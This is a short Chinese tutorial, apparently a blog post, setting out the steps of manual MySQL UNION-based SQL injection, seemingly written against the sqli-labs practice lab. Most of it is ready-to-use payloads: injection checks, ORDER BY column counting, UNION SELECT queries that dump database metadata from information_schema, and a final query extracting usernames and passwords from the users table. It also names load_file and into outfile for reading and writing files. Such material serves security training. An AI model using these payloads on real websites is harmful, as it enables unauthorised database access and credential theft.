-
注释或闭合语句
闭合语句后通过查询语句来爆出信息注释语句确保语句的正确执行
-
验证
通常用and进行验证id=1'and 1=1 id=1'and 1=2
若第一句输入后页面正常,第二句输入后出现错误信息则证明包含注入点
-
查询字段数目
MySQL使用order by来确认字段数目?id=1'and order by 3 --+
观察页面是否显示正常,来判断字段个数
-
联合查询
通过union select联合查询来爆出字段?id=1-'union select 1,2,3
在爆出的字段值里面可以替换为我们的恶意语句,前期主要是收集信息
-
收集信息
在爆出的字段值里面可以替换为我们的恶意语句,前期主要是收集信息数据库名:database() 数据库版本: version() 数据库用户: user() 操作系统: @@version_compile_os 数据库路径: @@datadir 系统用户名: system_user() 当前用户名: current_user 连接数据库的用户名:session_user() 读取数据库路径:@@datadir MYSQL安装路径:@@basedir load_file 转成16进制或者10进制 MYSQL读取本地文件函数 into outfile 写入函数
比较重要的数据库
information_schema 数据库下的 schemata表中的schema_name记录的是各个数据库的名称 information_schema 数据库下的 tables表中的table_name记录的是各个数据表的名称 储存所有表名信息的表 : information_schema.tables 表名 : table_name 数据库名: table_schema 列名 : column_name 储存所有列名信息的表 : information_schema.columns
查询数据库名
id=1' and 1=2 UNION SELECT 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+ id=1' and 1=2 UNION SELECT 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
查询列名
id=1′ and 1=2 UNION SELECT 1,2,group_concat(column_name) from information_schema.columns where table_name=’users’ –+ 查询列名 id=1′ and 1=2 UNION SELECT 1,2,group_concat(id,username,password) from users –+ 查询字段值
查询字段值
id=1′ and 1=2 UNION SELECT 1,2,group_concat(id,username,password) from users –+ 查询字段值
SQL入流程
最新推荐文章于 2023-08-17 19:10:07 发布